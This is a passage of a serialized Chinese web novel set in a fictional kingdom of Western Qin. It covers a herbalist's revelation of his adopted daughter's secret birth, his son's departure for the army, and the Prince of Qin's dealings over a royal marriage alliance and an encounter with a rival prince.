衣上坤坐在马车里,似是顿时亦被惊吓地清醒了过来,张大了眼睛,心中不禁为此一震,继而忿忿地伸手一把掀开了车门帘,胸中怒火正欲发作,却闻前面驾车的老奴恭敬一声说道“少爷回来啦!” 闻此,衣上坤亦惊声道“是俊儿?” 尚未待其掀开车帘来,衣上俊便已一步跃下马车来踱着大步到了衣上坤的车前,朝其行礼急道“父亲,大事不好了!” 衣上坤一露出面来,看了看灰头土脸的衣上俊一脸疲惫之色,还有除了他和驾车的小厮外,车子里再无其他,空空如也,心中不禁当即浮起一抹极不好的预感来。 怔愣了一下,便开口亦着急地问道“发生了何事?你…莫非你是连夜赶路回来的?燕儿呢?燕儿怎么没有同你一道回来?还有云儿?你大姐呢?” 岂料,衣上俊竟忽然扑通一声重重地跪了下去。见此,衣上坤顿觉心惊胆战,天昏地暗,两眼冒金星,颤颤巍巍地在驾车老奴的搀扶下下了车来,惊诧地注视着他,颤颤地问“究竟发生了何事?你倒是快说啊!” 衣上俊满脸惶恐不安与焦灼担心,垂首对衣上坤道“父亲,大姐她…她于风驰电掣,大雨滂沱之夜…坠落悬崖,生死不明,失踪了!” “你说什么?”衣上坤闻此,顿时脚下一个踉跄,年迈又瘦弱的老奴一个没扶住,差点儿使他实实地跌坐在地上。 “父亲,父亲……”衣上俊眼疾手快地忙伸手将其接住并及时揽起,这才使得其没有落实着地。 衣上坤只觉眼前的视线越来越模糊,任由被衣上俊架到了身旁的赵记茶馆门前,又抽出其摊位上收起来的一条长木凳,让其坐了下来竟也恍恍不自知。 只顾将一手抚在自己的额头,胳膊肘支撑在面前的案几上,感觉似是像天都要塌下来了一般。许久后,方才垂首低声地喃喃问道“这…这是怎么回事?” 闻此,衣上俊将城南寻人一事便一字不漏地向其禀报了起来。 “老夫就知道,她就不该和那个秦王扯在一起,这下可好了,终于出大事了!”听完了衣上俊的话,又沉默了会儿,衣上坤似是窝了一肚子的火,忿忿道。 然衣上俊却支支吾吾地为其辩解道“父亲,这件事…好像也不能赖给秦王殿下。秦王殿下 也是为了救大姐,才身受重伤且被累及坠落悬崖了的。” 衣上坤沉思片刻,放下手来,冷哼一声兀自说道“难道这一切真的都是天意,冥冥之中任我们怎么躲也躲不过。恩人说的果然没错,她就不应该接近与那些皇族中人纠缠在一起,他们只会为云儿招来祸患……老天啊,她已经为此而付出一个女子一生中最大的代价了,难道你还不肯放过她吗?” 衣上俊闻此,甚为不解道“父亲,你这是在说什么?什么‘付出一个女子一生中最大的代价’,大姐她…她到底怎么了?” (本章完) 第二百四十三章:敢与老天打赌的女子 衣上坤沉思片刻,放下手来,冷哼一声兀自说道“难道这一切真的都是天意,冥冥之中任我们怎么躲也躲不过。恩人说的果然没错,她就不应该接近与那些皇族中人纠缠在一起,他们只会为云儿招来祸患……老天啊,她已经为此而付出一个女子一生中最大的代价了,难道你还不肯放过她吗?” 衣上俊闻此,甚为不解道“父亲,你这到底是在说什么?什么‘付出一个女子一生中最大的代价’,大姐她…她到底怎么了?” 衣上坤闻此,一脸严肃地出了好一会子神盯着他的眼睛,方才缓缓移开眼来又细细地扫了一遍身边四周。 见只除了俩个驾车的奴仆尚远远地站在一边静候着主人的差遣外,似是再无旁人。他这才微微挪了挪动身子,示意其在自己身边坐了下来,一脸欣慰地说道“俊儿,为父知道你已经长大了,再也不是以前那个游手好闲,浑浑噩噩的浪荡公子哥,为父真的感到很欣慰。” 衣上俊似是心里已经预感到了衣上坤言语里的顾忌,便着急地道“父亲,俊儿能有今日,多亏了大姐。凡事俊儿知道轻重,有什么话父亲就请直说吧,俊儿绝不会忤逆父亲的意愿的。尤其是…有关大姐的事。” 闻此,衣上坤点了点头,又重重地叹了口气,心一横,便道“俊儿,其实…你大姐脸上的红色胎记…它并不是胎记。” 衣上俊顿感不可思议地猛瞪大了那双星眸,朝着衣上坤的脸上一怔,惊声道“父亲说什么?大姐脸上的那个让她背了17年‘京城第一大丑女’恶名的红色胎记竟不是胎记?…那是什么?” 衣上坤似是极不忍心回忆起这段当年往事的样子,闭起了双目片刻后,道“她的脸…是一出生便被下了毒,中毒所致。” 闻此,衣上俊惊呆了“是谁?是谁这么狠心对一个刚坠地出生在襁褓里的婴孩做这样的事?” 衣上坤痛苦地回忆道“她…她是个具有绝世美貌且善良却又苦命的女子。” 衣上俊顿时握紧双拳,眉头紧蹙,火冒三丈,但因顾忌到万一会被存有不良用心的人听到,便强压住心头的怒火,低声连连发问道“她究竟是什么人?她有什么权利这样做?大姐又犯了什么错?以至于一降生便要遭此横祸。身为一个女子,这不是等于毁了她一生的幸福了吗?从小到大,大姐终日以面纱示人,怕是都没有人见过大姐的真面目吧?父亲当时又为何不制止?” “这便是存在于你大姐身上的第二个秘密了。”衣上坤神秘道。 “什么?第二个秘密?大姐身上还有什么秘密?”无疑,衣上俊惊讶极了,没想到在与自己从小一起长大的同父异母的姐姐身上,竟然隐藏着这么多如此惊人 的秘密。 衣上坤思之又思,沉默了许久后终道了句“其实,你大姐,她…并不是父亲与你大娘所出。” “什么?”这一次,衣上俊再也忍不住了,猛地站起身来,瞪大了那双如星河般深邃的眼眸来望着衣上坤的眼睛,惊呆了。 衣上坤亦紧张地忙伸手将其笔直的身躯大力地拉低下来,再次坐回自己的身旁,这才兀自幽幽说道“那个具有绝世美貌且善良却又苦命的女子,也就是亲手给自己刚刚落地的孩子脸上施毒的妇人…她才是你大姐的亲生母亲。为父只是临危受命,受恩人临终前所托付,她只求为父不要委屈了你大姐,让她做一个平常人家的普通女子,快快乐乐,平平安安地活一世即可。” “恩人?父亲,这一切究竟是怎么回事?”衣上俊似是越听越糊涂,心里疑惑极了。 衣上坤一边回忆着,幽幽道“那时候,为父和你大娘,我们还只是城南北山深山里,半山腰上的一对贫贱夫妻,终日里以采药为生。” “原来父亲的老家在城南北山?”衣上俊这才明白。这么多年了,无论有多少人问起他们祖籍何方,这一家人总是对此一律都无言以对,甚至更有许多人辱骂他们一入宫便忘了祖宗,忘了本。 衣上坤点了点头,继续道“有一日,我和你大娘早起在北山苦苦寻觅一株十分珍贵的千年人参。突然发现,在距离碧水湖的湖滩不远处的树林边躺着一位大腹翩翩的妇人。走近一看,那妇人竟满身伤痕,像是坠崖所致,早已卧倒昏迷在了一片血泊之中。当时,她应是感觉到了腹中孩子即将出世,因为怕孩子生在了冰冷的湖滩上冻着,便爬过了整条湖滩线,到了相对能遮些冷风的树林边上,加之坠崖后伤势颇重,几乎已耗尽了所有体力,身体实在太过于虚弱,导致她没了生产的力气。” 衣上俊着急地担心问道“那她腹中的孩子不是很危险吗?” 衣上坤长长地舒了口气,似是当日所有的往事时隔至今,想来依然颇为触目惊心一般,道“谁说不是呢,好在那妇人医术相当了得,她替自己施针保住了胎儿的命脉。可终究还是拖延的时间太长了,直到为父遇到她的时候,她们母子眼看着就要一起去了。可那时,她手里竟正好紧紧地握着那株我和你大娘苦苦寻了多年的千年人参。” “那她为何不含些人参呢,这样不就有力气了吗?”衣上俊疑惑地道。 衣上坤亦道“是啊,她若是当时能及时将它含下些许,便完全可以有力气将那个孩子平安生下来。可她却…她却用那株千年人参和仅剩下的一口气来与老天打赌。” 衣上俊不明白,道“与老天打赌?” 衣上坤目光坚定地道“对, 就是与老天打赌。她在堵,老天一定不能如此残忍地便夺走了她们母子的性命。她在堵,她一定能等到一个能救她的孩子活着离开的人。于是,为父便成了那个人。” 衣上坤的言语里对那女子满是敬佩的语气,稍作停留,接着又遗憾地道“可最后,因为终是错失了服参的最佳良机,等到为父赶去的时候,已是纵使大罗神仙在世也是无能为力了,孩子和大人,只能保住一个,那妇人毫不犹豫地脱口即出要保胎儿。于是,在生产完的弥留之际,她便将那株千年人参和身上的所有细软都送给了为父和你大娘,只求我们能答应帮她养大那个孩子成人。只有一只七彩金丝彩玉镯子,她说无论如何,都务必要给她的孩子留下。还赠给了为父一本她亲自验方整理的医药秘籍,也正是因了她的心血之作和那株千年人参,为父后来才得以在宫中谋得今日的位置。” 至此,衣上俊的心里震惊极了,黯然神伤道“想必那位妇人应是知道自己纵使服下了那株千年人参,有力气生下孩子,可她的伤势那么重,一个妇道人家,怕是也未必能护那孩子周全,将其平安带出深山。于是,她便只能留有一丝希望,静静地携着重礼祈祷等候着能救她孩子的人的出现。幸好,父亲和大娘出现了。” 此时,除了一片令人唏嘘之余,忽然,衣上俊似是又有什么更为不解之处,便问道“可那妇人,既然如此珍视这个孩子,宁愿以自己的所有来换取这个孩子的生命,又为什么还要在她的脸上下毒,毁了她的容貌?还有,她到底是什么人?难道这个孩子除了她,就再也没有其他亲人了吗?” 对此,衣上坤似是也不太明白其中原由“那妇人临终之前,只交待为父,莫要太委屈了这个孩子。她只愿她快快乐乐地做一个平常百姓家的女子,仅此而已,千万不要让她接近那些皇族之人,与其纠缠在一起;至于毁了她的容貌,为父揣摩着,怕也正是因为怕那些人惦记她的美貌,故而为之吧。对于那个妇人本人,为父只见她美若天仙,气质非凡,像是个名门贵女之类的非普通女子。问她家里还有什么人,她只是摇头不止,独自一直默默地流泪。让人看了,实在是心酸不已,不忍心再问。为父想着,怕是她家里遭了什么横祸,被人追杀又或者满门抄斩之类的,这才不小心失足落了崖。为父又怕贼人追来斩草除根,便一刻都不敢多做停留,回去便将山里的房子烧的干干净净,连夜逃离了北山,再也没敢回去过。” “怕是没有父亲想的那般简单,若她真是什么罪臣之后的话,官府必定会全城通告缉拿的。父亲当时一路逃亡,可曾见过官府张贴的什么缉拿逃犯之类的告 示么?”衣上俊又问。 被衣上俊这么突然一问,衣上坤倒是忽然间真的觉得当年的事有些蹊跷“起初一段时间里,为父真的很害怕,怕因此会惹来杀身之祸。中途,还几次三番险些将那孩子丢弃。可是,每当一看到那可怜的孩子,尚且还什么都不懂,只知道对着我和你大娘笑,再一想起那妇人的惨死,你大娘她又不能生育,我们便都又不忍心了。倒是逃亡的一路上,似乎都相安无事,并未见任何抄家缉拿逃犯之类的官府告示。因此,也才敢继续留在西秦国内。” “如此说来的话,难道…莫非,那妇人根本就不是我西秦国人…父亲,那位妇人,可曾相告她叫什么名字?”衣上俊默默地暗自推理猜测着道。 (本章完) 第二百四十四章:父子伤离别 “如此说来的话,难道…莫非,那妇人根本就不是我西秦国人…父亲,那位妇人,她可曾相告过叫什么名字?”衣上俊默默地暗自推理猜测着,忽然炸出来一句道。 衣上坤闻言,顿时抬起双眼来朝其一怔,道“这一点…为父倒还真是没有想到过。为父当时也问了,可她没来得及说,又也许是实在已经没有力气了。孩子生下来后,那时早晨的太阳刚好升起来,她便只是一个劲地痴痴望着东方天空中的那轮红日淡淡地笑着,像是已很幸福满足,了无遗憾了的样子,直到最后闭上了眼睛。” “早晨的太阳…女子…难道她想说的名字是…‘若曦’?…望着东方,很幸福满足…莫非她的家在东方?不在我西秦国境内,那便是…富甲一方的东宁国。”衣上俊顿时由这一连串信息大胆猜想道。 衣上坤亦为此瞬间心里感觉深深一震,惊声道“若曦…东宁国。” 顿时,父子俩四目相对,面面相觑了起来。 忽然,衣上俊想起了燕儿昨夜与她分别之际所说的那些莫名其妙的话来。而那些话,却似在这一瞬间突然变得能说的通了,不再只像是些无厘头的胡言乱语。 稍作思量,他忽然惊慌失措地开口对衣上坤说道“糟了,难怪大姐莫名其妙地跟燕儿说什么‘她不是衣家小姐,早晚都会离开衣家’之类的话,如此看来,父亲,难道大姐已经知道自己的身世了?” “不可能,她绝对不可能知道这件事。当年整个北山里就我们三人,不可能再有人知道此事。”衣上坤想都不想,信誓旦旦道。 看到父亲对此如此肯定,衣上俊不禁又低头独自纳闷了起来,口中喃喃道“那大姐此话究竟何意呢?” 忽然,他似是犹犹豫豫,吞吞吐吐地侧头问道“父亲,你…觉不觉得大姐昏迷了一年,醒来之后就像是变了个人呢?” 衣上坤淡淡道“是啊,变的和她的亲娘越来越像了。” 衣上俊思之又思,终吸了口气,事已至此,不妨就将所有事都放在一起理一理也好,于是便一脸严肃地道“父亲,街上的人都在议论咱府上的一件怪事。” 衣上坤平日里的生活,颇为传统和简单。几乎都是两点一线间,不是在城西家中,便是在御药房里办差,否则就是在家中和御药房之间的路上。即使偶尔同僚之间来个茶聚什么的,那也几乎是逢年过节才有的事。大家聚在一起所聊的,无非也就是与医药相关之事,对于街坊市井之间的八卦传闻,自是主动过滤掉的。真正所谓是‘两耳不闻药外事,一心只读药草经。’ 此时,他虽是对这些流言蜚语一向满腹的不屑,但看到儿子挂在脸上的一本正经之态,还是亦严肃地问了句“ 他们议论我们什么?” 衣上俊看着他的眼睛,认真说道“附近街上有很多人在议论,说大姐醒来的那天夜里,有人看到后院的空中,从天而降一道宛若一只七彩凤凰虚影的灼眼光芒,最后落入了大姐的阁楼上。他们还有人传说…说真正的大姐其实已经死了,现在的大姐乃是被妖怪的魂魄附体了。” 闻此,衣上坤竟再也没能忍住,大力地一把拍在了面前的案几上,扬声怒道“一派胡言,是谁如此传说的,就不怕遭天打雷劈么?你大姐她已经背了那么多不好的名声了,竟还有人如此造谣生事。她还是一个尚未出阁的女子,这以后还让不让她活了。” “父亲息怒,可凡事终究皆是‘无风不起浪’,父亲还是得想想办法。若是此事再继续这样传下去的话,怕是连整个西秦的人都会知道的。到时候,才真的是会对大姐造成极大的伤害。”衣上俊忙分析道。 “这件事,是从谁的口中先传出来的?”衣上坤咬着牙根,隐忍着问。 衣上俊随即抬起自己的一双星眸来,忿忿地撇了眼赵记茶馆的招牌,衣上坤顿时领悟道“为父知道了。这个人,一向油腔滑调、唯利是图、见利忘义、心术不正。打从第一眼见到他,为父便已知道他将会是我衣家的克星。如今看来,为父还真是一点儿也没看错他。看来,是时候该好好和他算算这笔账了。” “父亲打算怎么做?”衣上俊不解地问。 “让为父再好好想一想,好好想一想,想一想……”衣上坤长长地舒了口气,似是已独自出了神地谋划着,默默道。 新一年的第一个凌晨时分,父子俩就这样一起坐在街口的一片落红之中,推心置腹地促膝长谈了许久。 直到俩人头顶月亮的颜色已渐渐变得越来越淡,衣上坤忽一抬头方才发现入宫的时辰已经不能再晚了,这才急急回过神来对儿子交待道“今日我们父子的所有这些谈话,千万不能让其他人知道,尤其是你娘和雪儿。她们若是知道了,怕是这整个天下便就知道了。” “此事俊儿知道轻重,父亲放心吧。”衣上俊信誓旦旦道。 衣上坤点了点头,缓缓起身来看着此时眼前的这个儿子,已然不再是昔日里的那个纨绔子弟,甚感欣慰。忽然又似记起什么来,便开口叮嘱道“还有,你大姐坠崖落水失踪的事,千万不要将实情告诉你大娘,就说…就说是为父又交待了你大姐,在城南寻找宫里所需的药材,燕儿留下来陪她一起做伴了。你大姐虽然非你大娘亲生,但她却也是将她视若己出一般的。她身体不好,接受不了这样的事情。” “儿子知道,父亲放心…对了父亲,燕儿,我让她留下来随着公主和秦王殿 下的人一起找寻大姐的消息了。她从小到大都寸步不离地照顾在大姐左右,是对大姐了解最多的人,她留下来,应该会有用处的。”衣上俊亦站起身来对其解释说道。 “俊儿,你做的很好,我的俊儿终于长大了。”衣上坤将一只手搭在儿子的肩上,笑着夸赞其道。 衣上俊抿了抿嘴,低头片刻稍作思索后,有些凝重地道“父亲,俊儿今日就要整理行装,离家去程将军那里报道了。以后,儿子不能时时在您身边,父亲一定要多多保重自己,还要…多忍耐母亲和雪儿的脾气一些!始终,她们也都是为了这个家好。” 闻此,衣上坤忽然眼里噙满了泪水,声音也似是有些沙哑,却依旧强忍着说道“‘好男儿志在四方’,俊儿放心去吧。父亲相信,我的俊儿一定会出人头地,一定会比父亲强,父亲和你母亲等你满载荣耀归来。” 当衣上俊一看到父亲已头发花白的样子,亦眼里闪烁着点点泪花,又甚感忧心地道“那找大姐的事……” 衣上坤吐了口浊气,默默道“方才你不是已经说了,公主和秦王殿下已经派人在找了么。有那么多人在找,总胜过我们全家几十口吧。放心吧,你大姐从还未出生,便已经历过那么多磨难都能越来越勇敢,这次也一定能吉人天相,老天不会对她这般不公的,总不能将她所有活下去的门窗都关起来,总会为她开启一扇窗,让阳光照进来。一定能找到,一定能找到的。” “嗯,那俊儿这就回去准备准备,便走了。”离别有时竟说来就来,衣上俊的心头突然浮起一抹极不舍的情绪来。 作为理解和支持儿子的父亲,衣上坤也只能忍痛割爱,关切一句“出门在外,诸事一定要小心!” “父亲在宫中当差。也要诸事谨慎小心!俊儿就此拜别父亲大人。”说着说着,衣上俊便扑通一声,重重地跪了下去在衣上坤的面前,又重重地连续朝其三个叩首。 这三个叩首中,包涵了从小到大太多太多的父子情愫在其中。都说父爱如山般沉重,此刻,一切尽在不言中。 衣上坤凝视着儿子的眼睛,眼里尽是深深的不舍与疼爱,却依旧故作坚强的隐忍着,直到其恋恋不舍地缓缓起身之后,又猛一转身继而大步离去,方才对着其背影孤独地抹起泪来。 而转身后的衣上俊,亦是同样再也忍不住的流下了男儿最珍贵的眼泪来。 接着,便是两辆马车分开相背而驰,却是同样俩个高大的身躯亦随之相背而行着。那影子,在马车前悬挂的昏暗的烛火照耀下,被拉的很长很长。 而此时,城东秦王府的马车亦同样向皇宫的方向缓缓行驶着,赶去早朝。 副将程良骑着马,在 一旁对马车里的主子忧心道“殿下,您的伤势尚还未得以痊愈,其实可以不必这么早去上朝的。何不在府中多歇息几日。” “今日,皇上必要议定玥儿和亲的事,本王怎能不去。”车里的人声音传出来,依稀听得出实是仍有些孱弱。 “其实玥公主的这件事,如今,东宁国已然是…… (本章完) 第二百四十五章:铁树开花有何难 “今日,皇上必要议定了玥儿和亲的事,本王怎能不去。”车里的人声音传出来,依稀听得出着实是仍有些孱弱。 马车内,轩辕翰一路上一直端坐着闭目养神,心想,此时的璟帝也必定是处在理智和感情中苦苦挣扎着。一面是自己最疼爱的掌上明珠,心头肉,另一面则是整个西秦未来的江山社稷。若想要两头兼顾,该是何其的难? 而对于自己,无论如何,守护这片神圣不可侵犯的西秦大地便自是更加义不容辞。 但令他万万没有想到的是,早上正要准备出门,出使东宁的使者便派人前来向他报告了一件颇让人始料不及又义愤填膺的事。 他是有点意外:想不到如今,这富甲一方的东宁国的气焰竟已至如此嚣张的地步。竟敢婉言谢绝西秦璟帝派去的使者所谈的有关于轩辕玥和亲的请求。如此一来,这不但是对西秦国的莫大羞辱,更是对西秦明面上的挑衅与宣战。 如此看来,西秦今日的处境似是真的已经岌岌可危了。 一想到这些,他附在膝头的两只骨节分明的大手不禁紧紧握起,一张虽是有些孱弱,但依旧从骨子里透出来的尊贵无比似是天工精雕细琢过的一张冷峻轮廓上,眉头瞬间蹙起,张开来的两只深邃而又坚定的眼睛似是再也看不到底了。 看来,今日里所有的人定是要直面这个痛苦了。 就在其沉思之际,副将程良亦在马车外开口忿忿地抱怨道“这个东宁国君,实在是欺人太甚,太可恶了!难不成我西秦国堂堂一嫡长公主,竟还配不上他小小一个庶出的皇子么?此事若是传了出去,以后玥公主还如何在这灵空大陆上立足,我西秦又该如何自处?说什么‘三皇子不在,以后再议’,自古‘儿女婚事皆乃父母之命,媒妁之言’,属下看他就是在公然地向我西秦国毫无忌惮的示威罢了。打就打呗,谁怕谁啊!” 程良越说越气,恨不得立刻就身披战甲,与其进行一场颇为痛快,淋漓尽致的交锋对战。也似乎只有如此,方才能洗去他此时滚烫的胸间如同蚀骨般的屈辱,解去他此时满腔的心头怨气。 话已至此,然车内的主人依旧一言不发地静默着。在这漆黑的凌晨时分,宽敞平稳的大道上,只听到马蹄向前不断发出的“嗒嗒,嗒嗒”的声音,以及车轮亦“咕噜咕噜”连续不断的地缓缓滚动着,打破了眼前这宁静的一片除了马车上的两盏烛火外,尚不见其他任何一缕微光的晨色。 默了半晌后,程良兀自又忧心地道“殿下,看来今日皇上势必将会把玥公主嫁到极北的酷寒之地,北烈国去了,我们……” 程良说着说着,忽然间停了下来,继而又转念扬声大怒道“早知现在,当 初在城南说什么,我们都应该第一个杀掉那个可恶的拓跋泽,永绝后患。” 这时,车内的轩辕翰终于发出了声来“杀掉他有什么用,杀了拓跋泽一个,北烈国还有二皇子拓跋宏,甚至还有千千万万个拓跋泽再站起来。‘永绝后患’…只有我西秦国统一了这片灵空,做这天下之主,方才能主宰一切。灵空大陆,从此才能相安无事,百姓安宁,才能彻底再无任何杀戮与抢夺。” 此话一出,程良今日出门至今,心里的所有愤怒似是才瞬间都得以平息“那眼下玥公主的事,殿下打算怎么做?听说和亲北烈的圣旨都已经拟好了,早朝便会宣旨。” 沉默了一会儿,轩辕翰无论何时,永远都看似一副淡定无比的脸上,忽然现出一丝难得的迷离来,手里捏着一支嵌着两朵桃花的长流苏簪子,痴痴地呆望着其道“本王也不知道,到时候见机行事吧,总会有办法的。这是她不惜任何代价亦要求本王帮忙的事,本王既然答应了她,就一定得替她办到。” 听着主子已然又陷入了对衣上云的无边思念当中,程良心中顿时亦有些黯然和凄凉,然转念又道“殿下,如今看来,梅志煊果然身不在东宁。如此看来,从衣府将衣姑娘处心积虑地拐带至城南万娇阁的面具男子,便一定是梅志煊本人了。看来殿下猜测的没错,他果然完成了送嫁使命后没有回东宁去,藏匿在我西秦内,定是动机不纯。” 轩辕翰早就已经确定那人正是梅志煊无疑了,想他大费周折地想要接近衣上云,却不敢以真面目示她,定是怕自己被衣上云认出而为之。可唯一让他不明白的,只是为何他贵为一国皇子,却要接近这样的一个药师之女呢? “可有易三少的消息?”一念至此,轩辕翰突然开口问道。 “易三少?殿下该不会是见公主和东宁国的和亲不成,便病急乱投医,退而求其次,又想撮合玥公主和那南安国太子易三少了吧?!”程良惊讶地道。 轩辕翰喝道“说什么呢?你看那易三少,像是个会接受和亲的主么?他的心思在哪,你难道亦不知?再说了,玥儿这孩子,向来说一不二,要她改变心意,除非铁树开了花。” 岂料程良一听到这话,竟还来了劲,故意打趣其来,亦是想调节一下此刻两人各自心里的郁闷,便道“铁树开花有何难,咱们殿下这棵参天的千年铁树,不也开花了么,殿下如今……” 岂料程良颇有兴致的将话刚说到了一半,便被其主人训斥阻止道“住口,休要胡言乱语!” 程良立刻无奈地吐了口舌头,这才严肃回答道“听说…他还在城南里到处寻衣姑娘呢。” 轩辕翰突然眼睛一怔,稍待片刻,问道:“还 没有云儿的消息么?” 程良黯然道:“目前……还没有收到任何消息。” 俩人沉默了许久,程良忽然问“衣姑娘的事,也不知道衣府家主知道不知道?” 闻此,轩辕翰的脸上的冷厉又似加重了几分,道“他知与不知,对本王来说一点都不重要。但重要的是,他将本王府上的医女是怎么看护的,必须得给本王一个满意的交待。否则,本王定不会轻饶了他。” 说到城西衣府,程良的心里忽然想起一件事来,吞吞吐吐道“殿下,有一事,属下不知该怎么说?” “有事直说?”轩辕翰冷冷地道。 程良深吸了口气,问道“殿下可还记得第一次让属下去打听城西衣府的时候,属下曾对殿下所讲的那件关于衣府的怪事?” “是关于凤凰虚影……”轩辕翰稍作回忆,道。 程良点了点头,眼里带了些愤怒地道“殿下昏迷的时候,属下送玥公主和太子回宫,以及早朝结束后与朝中的那些大人在街市上茶聚,讨论万娇阁之事时,听闻城里越来越多的人到处在议论说…说衣府大小姐昏迷病榻一年后醒来,性情大变。是因为,大小姐苏醒过来的那天夜里,衣府后院的上空所出现的凤凰虚影乃是鬼怪之魂魄,真正的衣府大小姐其实早已经死了,现在的衣府大小姐乃是被鬼怪魂魄所附体的鬼怪之躯。就连那些大人,都有相信这种说法的。因为据说以前的衣姑娘丑陋娇弱且废柴,一向足不出户,与现在完全判若两人……” 岂料程良话还未说完,轩辕翰便急急将其打断怒声道“可有查到,这流言蜚语的始作俑者是谁?” 程良忙道“属下打听了,说是从衣府门前街角的‘赵记茶馆’最先传出来的。当天夜里,忽然空中风雨雷电大作,街上行人皆都只顾纷纷抱头急于归家,只有那赵记茶馆的掌柜,正在忙着收摊打烊,这才无意中看到了衣府的这番异象,便就此传说了开来。” “赵记茶馆?是不是梅志煊探问衣府之事,守株待兔所逗留过的那家茶馆?”轩辕翰回忆着,口中喃喃道。 “正是。若是再继续这样传下去,衣姑娘的名声,这辈子怕是彻底就要被毁了。”程良忧心道。 “你去妥善处理好此事。”轩辕翰吩咐道。 “是”程良领命道。 “对了,那衣上坤之子,衣上俊今日便要来报到了,属下该如何安置他?还请殿下明示。”程良又问。 “本王看那衣上俊,表面上看似放荡胡闹纨绔至极,骨子里倒也不失为一个将才之选,不像他那个迂腐中庸,整日里战战兢兢胆小怕事的父亲,你且先将他好好训练调教。本王相信,假以时日,他一定会在沙场上建功立业的。” 轩辕翰似乎对其颇为满意的信誓旦旦道。 就在俩人说话之际,忽然从前方的一片漆黑中缓缓现出来俩个高大的男子身影,二人直挺挺地就那样立在道路中间,挡住了马车继续前进的方向。 只见其中一人的手里牵着两匹骏马,跟在另一名单手附后的男子身后,那单手附后的男子立定后忽然开口问道“请问前方来人可是西秦国的秦王殿下?” “你是何人?竟敢挡当今秦王殿下的道。”程良闻声,急急勒住手中的缰绳,翻身跃下了马来。 (本章完) 第二百四十六章:小不忍则乱大谋 就在俩人说话间,从前方的一片漆黑中缓缓现出来俩个高大的男子身影,二人直挺挺地立在道路中间,挡住了马车前进的方向。 其中一人的手里牵着两匹骏马,跟在另一名单手附后,似是其主子的男子身后,那单手附后的男子立定后忽然开口问道“请问前方来人可是西秦国的秦王殿下?” “你是何人?竟敢挡当今秦王殿下的道。”程良闻声,急急勒住手中的缰绳,翻身跃下了马来查看。 就在这时,一阵微风从身旁的湖面吹来,忽然不知从何处,竟浮动起一股若有若无的梅花暗香来。仔细一寻,程良这才发现此颇为淡雅香气的来源,像是正从面前该男子的身上所发出的。 因为天色尚还未亮,他便警觉地从腰间抽出长剑来,小心翼翼地踱步朝着发出声音的模糊身影边靠过去。然待其刚一逼近到其身边,便顿时大吃一惊道“你是…东宁国三皇子…梅志煊?” 岂料话音未落,程良方才好不容易压下去一些的满腔怒火又瞬间全部一齐迅速地涌上心头。于是,便兀自以迅雷不及掩耳之势将手中紧握着的一柄利剑,稳稳地抵在了梅志煊的左肩上,眉头紧皱对其怒火中烧狠狠地道“梅志煊,你好大的胆子,区区一国之庶出的皇子,难道我西秦尊贵无比的嫡长公主的身份竟还配不上你不成?竟如此羞辱和挑衅我西秦国。说,你鬼鬼祟祟地潜藏在我西秦境内,这会子又只身摸黑着前来找我们殿下,究竟有何企图?” 不料程良颇为激动,忿忿不平对其此番这一顿劈头盖脸的痛斥,梅志煊却丝毫都不将其放在眼里。 始终都一袭白衣锦袍保持着风度翩翩笔挺地单手附后,对所有周围的动静根本不屑一顾地站在原地里,一双深邃的眼眸唯独只盯視着马车里的动静一动也不动。 只待程良将胸中的一团熊熊怒火发泄完毕,敛了声,方才继续兀自向着马车内的人再次扬声请求道“东宁国梅志煊,求见西秦秦王殿下,此次冒昧前来乃是有要事相商,还请秦王殿下下车一见。” 显然,在听闻了城隍庙老和尚的一袭话后,此时的梅志煊心里着实懊恼极了。他恍然意识到原来自己在关于西秦守护者这件事上竟如此过于自负。就这样人云亦云地轻信了世间的这些谣言传闻,险些筑成不可挽回的大错。 正所谓‘知己知彼,方才能百战不殆’,可若是就这样盲目地回国准备起兵,怕是到时候一定会是个措不及防的悲惨局面。 若是早些知道了西秦守护者竟还存在着的话,他又何必受今日之辱。他完全可以让其父皇应允下这个和亲请求,从这个公主身上顺藤摸瓜揪出守护者的下落和秘密,哪会落得如今这般撕破了 脸皮后的被动与难堪。 眼下,看这秦王轩辕翰的架势,想必因为西秦使臣不远万里主动到东宁国请求和亲遭拒所引起的负面影响而耿耿于怀。一定也会‘以其人之道还其彼身’,同样驳了自己的面。 可为了达到他的最终目的,他自是无论如何也要暂时低头隐忍下这一切,‘大丈夫能屈便能伸’,想想这也算是自己自食恶果,对于自己的过失所付出的代价,‘小不忍则乱大谋’。 程良闻声,侧过脸去看了看马车里的主人,只见其依旧连同周围的空气一起像是被凝固住了一般,久久都没有任何一丝风吹草动。便转而对梅志煊一副十足趾高气扬地说道“看见了吧,这便是你们对西秦国无礼所造成的后果!我们殿下赶着去早朝,没空理会你。你还是不要在此继续自取其辱,赶紧趁早夹着你的尾巴滚回你们东宁国去吧。若是再这样纠缠下去,惹恼了我家殿下,定叫你吃不完兜着走。” 程良说着,竟一手将剑横在其喉间,另一手紧紧地提起了梅志煊的衣领,凑到其鼻前朝其狠狠警告道。 岂料这一次,梅志煊竟同样怒目着亦撇了一眼程良,继而又继续一脸严肃地向着马车的方向极为恭敬地拱手弯腰行礼起来,程良一时间竟有些不知所措地缓缓松开了手。 只见梅志煊再次颇为诚恳地一字一句,请求道“东宁国…梅志煊,恭请秦王殿下下车一见。” 然左不过十几步的距离处,马车上的人依旧不见有任何动静传出。 于是,程良便环抱起自己的双臂来,站在其身旁,对着正弯腰哈背恭敬行礼的梅志煊轻笑了一声,道“哼,‘早知现在,何必当初’。这下知道被人拒绝是什么滋味了吧,但你可知,此次去东宁国请求和亲,我西秦所受到的屈辱,远要比你此时所受的多千倍万倍。” 就这样,一时间里,所有的人都静默了下来。 不知过了有多久,直到众人周围的视线忽然渐渐变得有些亮了起来。梅志煊方才吸了口气,缓缓伸手从身上摸出一封信来,继而起身来对着身边的程良沉声说道“这封信,麻烦请代我转交秦王殿下。” 话音刚落,梅志煊便抿了抿嘴,将手里的书信递到了程良手上。 正欲转身牵马离去,忽然从身后的马车里传出一阵冷厉极了的声音来,道“梅志煊,你给本王记住,若不是玥儿对你一见倾心,坚持要嫁你 第二百四十七章:终于有人着急了 月潜日升,终于迎来了新一年第一个黎明的到来。 当秦王府的气派马车赶到皇宫门口的时候,天色早已见亮。 晨雾里,一座坐北朝南、居高临下、殿宇林立、气势雄伟、壮丽非凡、不禁让人肃然起敬的西秦皇宫宫殿渐渐从这团迷雾笼罩中现了出来。 晨曦洒下,温柔地轻抚着位于这片大陆中部的宫殿内外寂静的一片高树、浅草,红墙、黄瓦…… 显然,因为梅志煊的半路出现,终是让轩辕翰耽误了早朝的时辰。 